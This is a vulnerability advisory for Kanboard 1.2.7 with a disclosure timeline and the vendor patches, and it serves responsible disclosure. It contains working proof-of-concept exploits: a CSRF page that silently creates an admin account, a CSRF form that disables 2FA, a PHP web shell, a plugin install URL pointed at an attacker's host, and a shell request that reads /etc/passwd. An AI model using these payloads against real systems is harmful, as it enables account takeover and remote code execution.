Kanboard 1.2.7 Multiple Vulnerabilities

Feb 11 2019

Kanboard 1.2.7 contains multiple vulnerabilities. The vulnerabilities include CSV account import cross site request forgery which allows an unauthenticated attacker to create a new administrative user. Cross site request forgery 2FA deactivation, allowing an unauthenticated attacker to disable an account’s 2FA configuration. A lack of integrity checking or transport layer encryption enforced on plugins enables remote code execution by a malicious admin. Other vulnerabilities include: session privilege retention, 2FA bypass, database user_id and pre-2FA information disclosure.

Date Released: 11/02/2019
Author: Will Boucher
Project Website: https://kanboard.org/
Affected Software: Kanboard 1.2.7

CSRF - Account Import from CSV file

No CSRF token check is performed during user import via CSV file. An unauthenticated attacker, who can coerce an authenticated administrative user to visit a malicious web page, can import a new administrator account using the /?controller=UserImportController&action=save endpoint.

The following proof-of-concept HTML will add an administrative user with a login of fakeadmin and password of fakeadmin.

CSRF Proof-of-concept

<html>
  <body onLoad="submitRequest()">
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/[KANBOARDHOST]\/kanboard-1.2.7\/?controller=UserImportController&action=save", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary1xqAn1RU5OQAgU5k");
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "en-GB,en-US;q=0.9,en;q=0.8");
        xhr.withCredentials = true;
        var body = "\r\n" +
          "------WebKitFormBoundary1xqAn1RU5OQAgU5k\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"import-users.csv\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\r\n" +
          "fakeadmin,fakeadmin,[email protected],\"Fake Admin\",1,0,,\r\n" +
          "\r\n" +
          "------WebKitFormBoundary1xqAn1RU5OQAgU5k--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
<Center><H1>Nothing to see here. <BR>
Move along.</H1></Center>
  </body>
</html>

CSRF - Deactivate 2FA

No CSRF token check is performed on requests to deactivate 2FA functionality. An unauthenticated attacker who can coerce an authenticated user to visit a malicious web page can deactivate 2FA on the account using the /?controller=TwoFactorController&action=deactivate endpoint.

While this POC illustrates a request for user_id=1, a page could be crafted to send requests for all accounts, discovered using the user_id information disclosure detailed below, removing the need to know the user_id in advance.

CSRF 2FA Proof-of-concept

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[KANBOARDHOST]/kanboard-1.2.7/?controller=TwoFactorController&action=deactivate&user_id=1" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

RCE - Malicious Plugin Installation

Kanboard 1.2.7 performs no integrity checking or transport layer encryption enforcement during plugin installation.

An attacker who gains administrative access, such as through the CSRF account import detailed above, can achieve remote code execution on the system hosting Kanboard 1.2.7 through the installation of a malicious plugin.

An attacker can download a plugin from the source repository, decompress the plugin, add a malicious file and re-compress the plugin to be served from a web server the attacker controls.

In this example the TaskAssignCategory plugin is used. The plugin is decompressed and a PHP web shell inserted in the TaskAssignCategory/Action/ directory of the plugin as webshell.php.

Source of webshell.php

<?php
    if($_GET['cmd'])
    {
        system($_GET['cmd']);
    }
?>

The plugin is then compressed and served from a web server the attacker controls.

Once preparations have been made, an attacker who has obtained administrative access to the Kanboard application, such as through CSRF Account Import detailed above, can visit the plugin directory page for plugin installation.

Clicking install for a plugin will result in the following request:


http://[KANBOARDHOST]/kanboard-1.2.7/?controller=PluginController&action=install&archive_url=https%253A%252F%252Fraw.githubusercontent.com%252Fdmorlitz%252Fkanboard-TaskAssignCategory%252Fmaster%252Freleases%252FTaskAssignCategory.zip&csrf_token=e2b5e632c49dbdbc846aaed68d93893005a9c17a48fae51f44399626f1a5

The attacker can replace the plugin archive_url with a target they control, serving the plugin they have edited to contain malicious code.


http://[KANBOARDHOST]/kanboard-1.2.7/?controller=PluginController&action=install&archive_url=http%253A%252F%252F[ATTACKER_WEB_HOST]%252FTaskAssignCategory.zip&csrf_token=e2b5e632c49dbdbc846aaed68d93893005a9c17a48fae51f44399626f1a5

Kanboard installs the plugin, without performing any integrity checks on the plugin and allowing the plugin to be fetched unencrypted over HTTP from any host specified.

The attacker can then navigate to the malicious code included in the modified plugin for execution:


http://[KANBOARDHOST]/kanboard-1.2.7/plugins/TaskAssignCategory/Action/webshell.php?cmd=cat%20/etc/passwd

Response - Remote Code Execution


HTTP/1.1 200 OK
{...snip...}
Content-Length: 2414
Connection: close
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
{...snip...}
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
kanboard:x:1000:1000:KanBoard,,,:/home/kanboard:/bin/bash

Session Privilege Retention

Kanboard 1.2.7 stores a user’s privilege level, or role, in a session entry in the database when a user logs into the application.

Privilege snippet of stored session


"role";s:9:"app-admin";

If a user logs into the application with app-admin privileges and is then demoted to an app-user by another user with permission to do so, the session entry in the database is not destroyed nor updated with the new permission level. The logged in user can enter the account settings page for their own account and restore their permissions to that of administrator.

2FA - Bypass

By default, Kanboard 1.2.7 is configured to accept Authorization: Basic as a form of authentication for the jsonrpc.php endpoint.

When authenticating to the jsonrpc.php endpoint with valid credentials for an account that is configured to use 2FA, the jsonrpc.php endpoint does not require a second factor of authentication.

Information Disclosure - Database User_IDs

An unauthenticated user can determine which user_ids exist for accounts in the Kanboard 1.2.7 database by requesting a user’s avatar from the AvatarFileController.

Avatar request example


http://[KANBOARDHOST]/kanboard-1.2.7/?controller=AvatarFileController&action=show&user_id=1

If the user_id exists, the application returns:

HTTP/1.1 403 Forbidden

If the user_id does not exist, the application returns:

HTTP/1.1 200 OK

Knowing the user_ids that exist in the database can be useful to an attacker for further attacks such as the 2FA CSRF Deactivation detailed above.

Information Disclosure - Pre-2FA Projects Disclosure

During the authentication process, with 2FA enabled, Kanboard 1.2.7 discloses project names.

An attacker who acquires login credentials can authenticate to Kanboard 1.2.7 and is presented with a page asking for the 2FA code.

The page requesting the 2FA code, /?controller=TwoFactorController&action=code, reveals project names; illustrated in the HTML snippet below.

In this case the projects are named Project 1, Project 2 and Project 3.

Pre-2FA Project Listing

{...snip...}
<header>
    <div class="title-container">
        <h1>
    <span class="logo">
        <a href="/kanboard-1.2.7/?controller=DashboardController&amp;action=show" class="" title='Dashboard' >K<span>B</span></a>    </span>
    <span class="title">
                    Check two factor authentication code            </span>
    </h1>
    </div>
    <div class="board-selector-container">
                    <div class="js-select-dropdown-autocomplete" data-params='{"name":"boardId","placeholder":"Display another project","items":{"1":"Project 1","2":"Project 2","3":"Project 3"},"redirect":{"regex":"PROJECT_ID","url":"\/kanboard-1.2.7\/?controller=BoardViewController&action=show&project_id=PROJECT_ID"},"onFocus":["board.selector.open"]}'></div>
            </div>
{...snip...}

RESOLUTION

31/01/2019 Vendor Patches:
Commit 19ea9ed6209b36cba5cb8f96224d9e3a0c022c93 CSRF - Deactivate 2FA fixed.

Commit 8cf8f9ef078b31473e9edcb4b9a61a80e3152c0c RCE - Malicious Plugin Installation - Plugins disabled by default
NOTE: The developers of Kanboard have placed the risk of malicious plugins on the Kanboard instance owner. If plugins are enabled and an attacker gains administrative access to the Kanboard instance, Remote Code Execution continues to be achievable through the installation of a malicious plugin.

Commit 61a55c888889a1ec3376a7a3bba230dc15a378a4 Session Privilege Retention fixed

Commit 322383b0847426cb92533528a784471b94193a3b Information Disclosure - Database User_IDs disclosure fixed

Commit a1c437bce825d90011750199fbcc0ca08ada51b3 Information Disclosure - Pre-2FA Projects Disclosure fixed

01/02/2019 Vendor Patches:
Commit 061ba4abe179829d7d0acd3422a16110dbc91da5 CSRF - Account Import from CSV file fixed

02/02/2019 Kanboard 1.2.8 released – 2FA bypass fixed

TIMELINE

29/01/2019 GitHub issue opened requesting security contact. https://github.com/kanboard/kanboard/issues/4134
31/01/2019 Advisory sent to [email protected]
31/01/2019 Patches commited to GitHub
01/02/2019 Patches commited to GitHub
02/02/2019 Kanboard 1.2.8 released
11/02/2019 Advisory Released


Follow us on LinkedIn